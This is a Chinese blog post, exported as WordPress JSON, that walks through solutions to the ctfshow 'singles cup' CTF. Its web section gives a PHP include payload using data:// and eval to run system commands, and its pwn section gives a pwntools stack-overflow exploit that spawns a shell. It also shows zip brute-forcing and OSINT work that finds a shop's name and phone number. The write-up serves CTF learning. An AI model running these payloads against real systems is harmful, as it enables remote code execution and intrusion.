{"id":188,"date":"2022-06-18T22:20:20","date_gmt":"2022-06-18T14:20:20","guid":{"rendered":"http:\/\/162.14.82.114\/?p=188"},"modified":"2022-06-18T22:20:20","modified_gmt":"2022-06-18T14:20:20","slug":"%e3%80%90ctfshow%e3%80%91%e5%8d%95%e8%ba%ab%e6%9d%af%e9%83%a8%e5%88%86wp","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/188\/06\/18\/2022\/","title":{"rendered":"\u3010ctfshow\u3011\u5355\u8eab\u676f\u90e8\u5206wp"},"content":{"rendered":"

\u672c\u6587\u662f\u5bf9\u5355\u8eab\u676f\u9898\u76ee\u7684\u90e8\u5206\u590d\u73b0\uff0c\u90e8\u5206\u4e0d\u4f1a\u505a\u7684\u7167\u7740\u5b98\u65b9\u7ed9\u51fa\u7684 wp \u91cd\u65b0\u64cd\u4f5c\u4e86\u4e00\u8fb9\u987a\u4fbf\u7559\u4e0b\u81ea\u5df1\u7684\u601d\u8003\u3002<\/p>\n

web<\/h1>\n

web\u7b7e\u5230<\/h2>\n
\u611f\u8c22@\u5927\u83dc\u9e21\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01<\/code><\/pre>\n
<?php\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2022-03-19 12:10:55\n# @Last Modified by:   h1xa\n# @Last Modified time: 2022-03-19 13:27:18\n# @email: h1xa@ctfer.com\n# @link: https:\/\/ctfer.com\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$file = $_POST['file'];\n\nif(isset($file)){\n    if(strrev($file)==$file){\n        include $file;\n    }\n}<\/code><\/pre>\n
\n
isset()<\/strong>\u51fd\u6570\u7528\u4e8e\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u5df2\u8bbe\u7f6e\u5e76\u4e14\u975e NULL\u3002<\/p>\n
strrev()<\/strong>\u5c06str\u6240\u6307\u7684\u5b57\u7b26\u4e32\u9006\u7f6e\u3002<\/p>\n<\/blockquote>\n
\u5f88\u660e\u663e\u8981\u6c42\u627e\u5230\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u8ba9\u987a\u7740\u548c\u5012\u7740\u4e00\u6837\uff0c\u4e14\u53ef\u4ee5\u8fdb\u884cRCE\uff0c\u4f7f\u7528data<\/code>\u534f\u8bae\uff0c\u518d\u5229\u7528?><\/code>\u8fdb\u884c\u95ed\u5408\u3002<\/p>\n
file=data:\/\/text\/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp\/txet\/\/:atad&1=system("ls \/");\n<\/code><\/pre>\n
\"image-20220527210000659\"<\/div><\/p>\n
==payload\uff1a==<\/p>\n
file=data:\/\/text\/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp\/txet\/\/:atad&1=system("cat \/f1agaaa");<\/code><\/pre>\n
\"image-20220527210100981\"<\/div><\/p>\n
MISC<\/h1>\n
misc\u7b7e\u5230<\/h2>\n
\u611f\u8c22@\u683c\u8c03\u50e7\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01\n\u91cd\u8981\u63d0\u793a\uff1a\n\u538b\u7f29\u5305\u5bc6\u7801\u662f5\u4f4d\u5b57\u7b26\nlsb\u6709\u5185\u5bb9\nflag\u5305\u542b5\u4e2a\u7a7a\u683c\u30012\u4e2a\u9017\u53f7\uff0c\u5747\u66ff\u6362\u4e3a\u4e0b\u5212\u7ebf\uff0c\u8fde\u7eed\u53ea\u75591\u4e2a\u4e0b\u5212\u7ebf<\/code><\/pre>\n
\u6253\u5f00\u6587\u4ef6\uff0c\u53d1\u73b0\u662f\u4e00\u4e2a\u52a0\u5bc6\u538b\u7f29\u5305\uff1a<\/p>\n
\"image-20220527210342616\"<\/div><\/p>\n
\u76f4\u63a5\u4e22\u5230Ziperello<\/code>\uff1a<\/p>\n
\"image-20220527210806803\"<\/div><\/p>\n
\u4e2d\u95f4\u53d1\u751f\u4e86\u4e00\u4ef6\u6709\u610f\u601d\u7684\u4e8b\u60c5\uff0c\u5728\u7206\u7834\u8fc7\u7a0b\u4e2d\u53d1\u73b0ziperello<\/code>\u7206\u7834\u5b8c\u9700\u8981\u633a\u957f\u65f6\u95f4\uff0c\u4e8e\u662f\u987a\u4fbf\u628aARCHPR<\/code>\u4e5f\u6253\u5f00\u4e86\uff0c\u7136\u540e\u53d1\u73b0\u540e\u8005\u6bd4\u524d\u8005\u5feb\u5f88\u591a\uff0c\u4f46\u662f\u524d\u8005\u53cd\u800c\u5148\u51fa\u5bc6\u7801\uff0c\u54c8\u54c8\u3002<\/p>\n
\"image-20220527211346014\"<\/div><\/p>\n
\u5bc6\u7801\u5c31\u662f61f@X<\/code>\uff0c\u89e3\u538b\u7f29\u6587\u4ef6\uff0c\u662f\u8fd9\u6837\u4e00\u4e2a\u56fe\u7247\uff1a<\/p>\n
\"image-20220527211541562\"<\/div><\/p>\n
\u4e22\u5230winhex<\/code>\u770b\u4e00\u4e0b\uff0c\u641c\u4e00\u4e0bflag\u6216\u8005ctf\u8fd9\u7c7b\u654f\u611f\u5b57\u7b26\uff0c\u53d1\u73b0\u6ca1\u6709\uff0c\u62c9\u5230\u6700\u540e\u770b\u770b\uff0c\u53d1\u73b0\u4e00\u4e32base64<\/code>\u7f16\u7801\u7684\u5b57\u7b26\u4e32\uff0c\u4e22\u8fc7\u53bb\u89e3\u7801\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220527211933907\"<\/div><\/p>\n
\u4e0d\u77e5\u9053\u548b\u56de\u4e8b\uff0c\u770b\u4e86\u5b98\u65b9wp\u53d1\u73b0\u662f\u56fe\u7247\uff0c\u6211\u771f\u7684\u4f1a\u8c22\uff1a<\/p>\n
\"image-20220527212422860\"<\/div><\/p>\n
\u540c\u65f6\uff0c\u56fe\u7247\u4e22\u8fdbzsteg\u540e\u5f97\u5230\u534a\u6bb5flag\uff1a<\/p>\n
\"image-20220528190424324\"<\/div><\/p>\n
\u4f7f\u7528ztsg\u4e5f\u662f\u4e00\u6837\uff1a<\/p>\n
\"image-20220528190854918\"<\/div><\/p>\n
\u8865\u5168\u4e8c\u7ef4\u7801\u7684\u5b9a\u4f4d\u7b26\uff0c\u7136\u540e\u8bc6\u522b\u4e00\u4e0b(\u8fd9\u8fb9\u641e\u4e86\u597d\u957f\u65f6\u95f4\uff0c\u4f46\u529f\u592b\u4e0d\u8d1f\u6709\u5fc3\u4eba)\uff1a<\/p>\n
\"image-20220528191912320\"<\/div><\/p>\n
6C75652C20666172206578636565647320796F75722062656C6965667D<\/code><\/pre>\n
==\u53cb\u60c5\u63d0\u793a\u8fd9\u91cc\u4f7f\u7528\u7684\u4e8c\u7ef4\u7801\u5c3d\u91cf\u662f\u7f16\u7801\u4ee5\u540e\u76f4\u63a5\u4e0b\u8f7d\u7684\uff0c\u4e0d\u8981\u76f4\u63a5\u622a\u56fe\uff0c\u5f88\u96be\u6210\u529f\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565==<\/p>\n
\u518dbase16\u89e3\u7801\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220528192435603\"<\/div><\/p>\n
\u62fc\u63a5\u5728\u4e00\u8d77\uff1a<\/p>\n
==ctfshow{Your potential,value, far exceeds your belief}==<\/p>\n
\u6309\u7167\u89c4\u5b9a\u683c\u5f0f\u8f6c\u5316\u4e00\u4e0b\uff1a<\/p>\n
==ctfshow{Your_potential_value_far_exceeds_your_belief}==<\/p>\n
CRYPTO<\/h2>\n
\u611f\u8c22@G4\u7684\u8d26\u53f7\u53d1\u7ed9\u6211\u7684\u9898\u76ee\uff0c\u51fa\u9898\u4eba\u662f\u8c01\u54b1\u4e5f\u4e0d\u77e5\u9053\uff0c\u54b1\u4e5f\u4e0d\u6562\u95ee \u5e08\u5085\u63d0\u4f9b\u7684\u9898\u76ee\n\u63d0\u793a\uff1aflag\u8981\u7528ctfshow{}\u5305\u8d77\u6765<\/code><\/pre>\n
\u6253\u5f00\u9644\u4ef6\uff1a<\/p>\n
\"image-20220528192758639\"<\/div><\/p>\n
\u4e0d\u77e5\u9053\u4f60\u4eec\u7b2c\u4e00\u773c\u770b\u5230\u4f1a\u60f3\u5230\u4ec0\u4e48\uff0c\u4f46\u662f\u6211\u56de\u60f3\u5230\u798f\u5c14\u6469\u65af\u8df3\u821e\u7684\u5c0f\u4eba\u90a3\u4e00\u7ae0\u8282\uff0c\u641c\u4e00\u4e0b\uff0c\u53d1\u73b0\u4e00\u6478\u4e00\u6837\uff1a<\/p>\n
\"img\"<\/div><\/p>\n
\u5bf9\u7167\u63ed\u79d8\u4e00\u4e0b\u5f97\u5230flag\uff1a<\/p>\n
==please use underslash between every word with initials in capitals the flag is everyone loves taoshen.==<\/p>\n
\u6545flag\u4e3a==ctfshow{Everyone_Loves_Taoshen}==<\/p>\n
OSINT<\/h1>\n
\u4efb\u6027\u8001\u677f<\/h2>\n
\u611f\u8c22@MiGooli\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01\n\u6709\u7684\u4eba\u80fd\u4e00\u773c\u770b\u51faflag(0)\uff0c\u6709\u7684\u4eba\u8fde\u8fd9\u5bb6\u5e97\u7684\u5e97\u540d\u548c\u624b\u673a\u53f7\u90fd\u627e\u4e0d\u51fa\u6765(1)\n\u90a3\u4e48\u4f60\u662f\u54ea\u79cd\u4eba\u5462\uff1f\n\u8bf7\u63d0\u4ea4ctfshow{\u5e97\u540d_\u5e97\u5bb6\u624b\u673a\u53f7}\uff0c\u8bc1\u660e\u4f60\u7684\u6210\u5206<\/code><\/pre>\n
\u6253\u5f00\u9644\u4ef6\uff1a<\/p>\n
\"image-20220528193256142\"<\/div><\/p>\n
\u62ff\u767e\u5ea6\u8bc6\u56fe\u770b\u4e00\u4e0b\uff0c\u53d1\u73b0\uff1a<\/p>\n
\"image-20220528193643388\"<\/div><\/p>\n
\u70b9\u8fdb\u53bb\u770b\u4e00\u4e0b\u5374\u6ca1\u5565\u6709\u7528\u7684\u4fe1\u606f\uff0c\u641c\u7d22\u4e5f\u6ca1\u5f97\u5230\u5565\u7ebf\u7d22\uff0c\u6ca1\u529e\u6cd5\uff0c\u7ee7\u7eed\u5f80\u4e0b\u6d4f\u89c8\uff0c\u76f4\u5230\u770b\u5230\u8fd9\u6837\u4e00\u4e2a\u7167\u7247\uff1a<\/p>\n
\"image-20220528194340615\"<\/div><\/p>\n
\u641c\u7d22\u6210\u90fd\u6700\u8ba4\u771f\u505a\u9762\u7684\u5e97\u4e3b\uff1a<\/p>\n
\"image-20220528194815753\"<\/div><\/p>\n
\u627e\u5230\u4e86\uff0c\u770b\u770b\u662f\u4e0d\u662f\uff1a<\/p>\n
\"image-20220528194905778\"<\/div><\/p>\n
\u597d\u6837\u7684\u627e\u5230\u4e86\uff01\uff01\uff01\u524d\u9762\u770b\u5230\u8fd9\u5bb6\u5e97\u662f\u53eb\u5de6\u6487\u5b50\u79c1\u623f\u9762<\/code>\uff1a<\/p>\n
\"image-20220528194934173\"<\/div><\/p>\n
\u4f7f\u7528\u767e\u5ea6\u5730\u56fe\u641c\u4e00\u4e0b\u8bd5\u8bd5\uff1a\uff08\u672c\u6765\u60f3\u62ff\u7f8e\u56e2\u641c\u7684\uff0c\u4e00\u60f3\u4e00\u5929\u5c31\u8425\u4e1a\u56db\u4e2a\u5c0f\u65f6\u4f30\u8ba1\u6ca1\u5916\u5356\u670d\u52a1\u3002\u3002\uff09<\/p>\n
\"image-20220528195250633\"<\/div><\/p>\n
\u6240\u4ee5flag\u5c31\u662f==ctfshow{\u5de6\u6487\u5b50\u79c1\u623f\u9762_15882424927}==<\/p>\n
\u86e4\u58f3\u96ea\u8304-1<\/h2>\n
\u611f\u8c22@\u5957\u5988\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01\n\u8fd9\u5f20\u7167\u7247\u662f\u572822\u5e74\u7b2c\u4e00\u5b63\u5ea6-\u7b2c\u4e8c\u5b63\u5ea6\u4e4b\u95f4\u62cd\u7684\uff0c\u8bf7\u627e\u51fa\u8fd9\u5bb6\u98de\u673a\u7684\u6240\u5c5e\u516c\u53f8\u7684\u5b98\u7f51\u5730\u5740\u3002\n\u4f8b\uff1actfshow{www.mumuzi.com}<\/code><\/pre>\n
\u6253\u5f00\u9644\u4ef6\uff1a<\/p>\n
\"image-20220529001903418\"<\/div><\/p>\n
\u4e0d\u7ba1\u4e86\uff0c\u76f4\u63a5\u4e22\u5230google\u8bc6\u56fe<\/code>\u770b\u4e00\u4e0b\uff0c\u6ca1\u5565\u6536\u83b7\uff0c\u518d\u7528\u4e0byandex<\/code>\uff1a<\/p>\n
\"image-20220529003429517\"<\/div><\/p>\n
\u70b9\u51fb\u8fdb\u53bb\u770b\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220529003501099\"<\/div><\/p>\n
\u53d1\u73b0\u662f\u4e00\u6478\u4e00\u6837\u7684\uff0c\u8fd9\u662f\u4e00\u53f0\u6ce2\u97f3 737-200 \u63a8\u529b\u53cd\u5411\u5668<\/code>\uff0c\u76f4\u63a5\u641c\u7d22\u6709\u5173\u6ce2\u97f3737\u5e76\u6ca1\u6709\u4ec0\u4e48\u6709\u7528\u7684\u4fe1\u606f\uff0c\u76f4\u63a5\u8f93\u5165\u6ce2\u97f3\u516c\u53f8\u7684flag\u4e5f\u4e0d\u5bf9\uff0c\u518d\u89c2\u5bdf\u4e00\u4e0b\u56fe\u7247\u4e0e\u641c\u7d22\u7ed3\u679c\uff0c\u53d1\u73b0\u5927\u90e8\u5206\u90fd\u4e00\u6837\u552f\u72ec\u989c\u8272\u4e0d\u5bf9\uff0c\u4e8e\u662f\u641c\u7d22black boeing 737-200<\/code>\uff0c\u627e\u5230\uff1a<\/p>\n
\"image-20220529004425751\"<\/div><\/p>\n
\u7b2c\u4e00\u4e2a\uff01\uff01\uff01\uff01<\/p>\n
\"image-20220529004533359\"<\/div><\/p>\n
\u641c\u4e00\u4e0b\u8fd9\u5bb6\u822a\u7a7a\u516c\u53f8chrono aviation<\/code>\uff1a<\/p>\n
\u5728\u516c\u53f8\u7684\u7f51\u7ad9\u627e\u5230\u4e86\u8fd9\u9a7e\u6ce2\u97f3\u98de\u673a\uff1a<\/p>\n
\"image-20220529004956569\"<\/div><\/p>\n
\u770b\u6765\u5c31\u662f\u8fd9\u5bb6\u822a\u7a7a\u516c\u53f8\u4e86\uff0c\u63d0\u4ea4\u516c\u53f8\u7f51\u7ad9\uff0c\u6b63\u786e\uff0cflag\u5c31\u662f\uff1a<\/p>\n
==ctfshow{www.chronoaviation.com}==<\/p>\n
\u86e4\u58f3\u96ea\u8304-2<\/h2>\n
\u611f\u8c22@\u5957\u5988\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01\n\u8bf7\u627e\u51fa\u98de\u673a\u6240\u964d\u843d\u7684\u5730\u70b9\u57ce\u5e02\u7684\u540d\u5b57_\u56fd\u5bb6\uff0c\u5355\u8bcd\u9996\u5b57\u6bcd\u5927\u5199\n\u4f8b\uff1actfshow{Fujian_China}<\/code><\/pre>\n
\u6253\u5f00\u9644\u4ef6\uff1a<\/p>\n

\n   
\"image-20220529005537263\"<\/div>
\"image-20220529005702740\"<\/div>
\n<\/center><\/p>\n
\u53ef\u4ee5\u53d1\u73b0\u4e24\u4e2a\u56fe\u7247\u80cc\u666f\u90fd\u6709\u96ea\uff0cYandex<\/code>\u641c\u4e00\u4e0b\uff1a<\/p>\n
\"image-20220529010259223\"<\/div><\/p>\n
\u5728\u641c\u7d22\u8fc7\u7a0b\u4e2d\u53d1\u73b0\u548c\u56fe\u4e00\u80cc\u666f\u51e0\u4e4e\u4e00\u6a21\u4e00\u6837\u7684\u5efa\u7b51\uff1a<\/p>\n
\"image-20220529011213999\"<\/div><\/p>\n
\u641c\u7d22\u4e0a\u9762\u90a3\u4e32\u5b57\u7b26\uff1aIQALUIT<\/code><\/p>\n
\"image-20220529011439415\"<\/div><\/p>\n
\u518d\u6b21\u627e\u5230\uff0c\u770b\u6765\u5c31\u662f\u8fd9\u4e2a\u5730\u65b9\uff1a<\/p>\n
\"image-20220529011609197\"<\/div><\/p>\n
\u76f4\u63a5\u731c\u6d4b flag \u5c31\u662f\uff1a==ctfshow{Iqaluit_Canada}==\u6b63\u786e\uff0c\u4e2a\u4eba\u611f\u89c9\u8fd9\u9898\u7ed9\u7684\u4fe1\u606f\u592a\u591a\u4e86\uff0c\u968f\u4fbf\u7528\u4e00\u4e2a\u5c31\u53ef\u4ee5\u987a\u85e4\u6478\u74dc\u627e\u5230flag\uff0c\u611f\u8c22\u5957\u5988\u7559\u4e0b\u6d3b\u8def\uff01\uff01\uff01<\/p>\n
REVERSE<\/h1>\n
re\u7b7e\u5230<\/h2>\n
\u611f\u8c22@\u5927\u83dc\u9e21\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01<\/code><\/pre>\n
\u62ff\u5230\u6587\u4ef6\u5148\u67e5\u770b\u4e00\u4e0b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n
\"image-20220528195640882\"<\/div><\/p>\n
\u62d6\u5230IDA\u770b\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __int64 v3; \/\/ rax\n  __int64 v4; \/\/ rax\n  const char *v5; \/\/ rax\n  __int64 v6; \/\/ rax\n  __int64 v7; \/\/ rax\n  __int64 v8; \/\/ rax\n  char v10; \/\/ [rsp+0h] [rbp-70h]\n  int v11; \/\/ [rsp+60h] [rbp-10h]\n  unsigned __int64 v12; \/\/ [rsp+68h] [rbp-8h]\n\n  v12 = __readfsqword(0x28u);\n  memset(&v10, 0, 0x60uLL);\n  v11 = 0;\n  puts("plz input your password:");\n  __isoc99_scanf("%s", &v10);\n  v3 = be(&v10);\n  v4 = be(v3);\n  v5 = (const char *)be(v4);\n  if ( !strcmp(v5, "V2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5") )\n  {\n    printf(format, &v10);\n  }\n  else\n  {\n    v6 = be(&v10);\n    v7 = be(v6);\n    v8 = be(v7);\n    printf("password is incorrect!\\n%s", v8);\n  }\n  return 0;\n}<\/code><\/pre>\n
\u57fa\u672c\u903b\u8f91\u662f\u8bfb\u5165\u5b57\u7b26\u4e32\u7ecf\u8fc7\u4e24\u6b21be\u51fd\u6570\u540e\u548cV2toT2FWZ3pTbXhZTTA1d1dqSTFabUZYTldaaFNFNTZZek5PZW1NelRucGpkejA5<\/code>\u6bd4\u8f83<\/p>\n
\u770b\u4e00\u4e0bbe()<\/code>\u51fd\u6570\uff1a<\/p>\n
_BYTE *__fastcall be(const char *a1)\n{\n  __int64 v1; \/\/ rax\n  __int64 v2; \/\/ rax\n  int v4; \/\/ [rsp+18h] [rbp-28h]\n  int v5; \/\/ [rsp+1Ch] [rbp-24h]\n  signed __int64 v6; \/\/ [rsp+20h] [rbp-20h]\n  signed __int64 v7; \/\/ [rsp+30h] [rbp-10h]\n  _BYTE *v8; \/\/ [rsp+38h] [rbp-8h]\n\n  v7 = strlen(a1);\n  if ( v7 == 3 * (((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63)) )\n    v1 = ((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63);\n  else\n    v1 = ((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63) + 1;\n  v6 = 4 * v1;\n  v8 = malloc(4 * v1 + 1);\n  v8[v6] = 0;\n  v4 = 0;\n  v5 = 0;\n  while ( v4 < v6 - 2 )\n  {\n    v8[v4] = aAbcdefghijklmn[(const unsigned __int8)a1[v5] >> 2];\n    v8[v4 + 1] = aAbcdefghijklmn[16 * a1[v5] & 0x30 | ((const unsigned __int8)a1[v5 + 1] >> 4)];\n    v8[v4 + 2] = aAbcdefghijklmn[4 * a1[v5 + 1] & 0x3C | ((const unsigned __int8)a1[v5 + 2] >> 6)];\n    v8[v4 + 3] = aAbcdefghijklmn[a1[v5 + 2] & 0x3F];\n    v5 += 3;\n    v4 += 4;\n  }\n  v2 = v7 - 3 * (((unsigned __int128)(6148914691236517206LL * (signed __int128)v7) >> 64) - (v7 >> 63));\n  if ( v2 == 1 )\n  {\n    v8[v4 - 2] = 61;\n    v8[v4 - 1] = 61;\n  }\n  else if ( v2 == 2 )\n  {\n    v8[v4 - 1] = 61;\n  }\n  return v8;\n}<\/code><\/pre>\n
\u53d1\u73b0\u5176\u5b9e\u5c31\u662f base64 \u7f16\u7801\uff0c\u62ff\u7ed9\u7684\u5b57\u7b26\u8fde\u7eed\u7f16\u7801\u4e09\u6b21\u5f97\u5230flag\uff0c\u8fd9\u91cc\u4f7f\u7528\u8fdb\u51fb\u7684bird<\/a>\u5e08\u5085\u5199\u597d\u7684\u811a\u672c\u8fdb\u884c\u89e3\u5bc6<\/p>\n
import base64\nstc=input("\u8f93\u5165\u9700\u8981\u8fdb\u884c\u89e3\u7801\u7684BASE64\u7801\uff1a\\n")\ndef base64count(src):\n    print("\u5f00\u59cb..")    \n    num=0  \n    try:\n        while True :\n            src = base64.decodestring(src.encode('utf-8'))\n            #\u8fd9\u91cc\u6539\u6210decodebytes\u53ef\u4ee5\u907f\u514d\u8b66\u544a\u3002\u3002\n            src=src.decode('ascii')\n            num=num+1\n            print("\u89e3\u7801\u4e2d,\u7b2c%d\u6b21" %(num))      \n    except Exception as e:\n        print("\u7ed3\u675f")\n        return src      \nif __name__ == '__main__':\n    print(base64count(stc))<\/code><\/pre>\n
\u8fd0\u884c\u5f97\u5230 flag\uff01\uff01\uff01\uff01<\/p>\n
\"image-20220528201155482\"<\/div><\/p>\n
==ctfshow{dsb_re_sign_in_hsssssssss}==<\/p>\n
PWN<\/h1>\n
pwn\u7b7e\u5230<\/h2>\n
\u611f\u8c22@\u5927\u83dc\u9e21\u5e08\u5085\u4f9b\u9898\uff0c\u592a\u68d2\u4e86\uff01<\/code><\/pre>\n
\u6253\u5f00\u9644\u4ef6\u67e5\u770b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n
\"image-20220528201800917\"<\/div><\/p>\n
\u62d6\u5230IDA\u770b\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  setbuf(stdin, 0);\n  setbuf(stdout, 0);\n  puts((const char *)&unk_8048668);\n  dsb(&argc);\n  puts((const char *)&unk_8048694);\n  return 0;\n}<\/code><\/pre>\n
\u53ef\u4ee5\u627e\u5230\u8fd9\u4e2a\uff1a<\/p>\n
int shell_here()\n{\n  system("\/bin\/sh");\n  return 0;\n}<\/code><\/pre>\n
\u65e0\u4fdd\u62a4\uff0c\u5c31\u662f\u4e00\u4e2a\u6700\u7b80\u5355\u7684\u6808\u6ea2\u51fa\uff0c\u76f4\u63a5\u5199exp\u5373\u53ef\uff1a<\/p>\n
from pwn import *\nr = remote("pwn.challenge.ctf.show",28159)\nr.recvline()\npayload=b"a"*20+p32(0x80484f6)\nr.sendline(payload)\nr.interactive()<\/code><\/pre>\n
\"image-20220528203514049\"<\/div><\/p>\n
\u5f97\u5230flag\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
\u672c\u6587\u662f\u5bf9\u5355\u8eab\u676f\u9898\u76ee\u7684\u90e8\u5206\u590d\u73b0\uff0c\u90e8\u5206\u4e0d\u4f1a\u505a\u7684\u7167\u7740\u5b98\u65b9\u7ed9\u51fa\u7684 wp \u91cd\u65b0\u64cd\u4f5c\u4e86\u4e00\u8fb9\u987a\u4fbf\u7559\u4e0b\u81ea\u5df1\u7684\u601d\u8003\u3002 web w […]<\/p>\n","protected":false},"author":1,"featured_media":189,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,20,21,19,22,18],"tags":[],"class_list":["post-188","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf-and-protest","category-crypto","category-misc","category-pwn","category-reverse","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/188","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=188"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/188\/revisions"}],"predecessor-version":[{"id":190,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/188\/revisions\/190"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media\/189"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=188"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=188"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=188"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}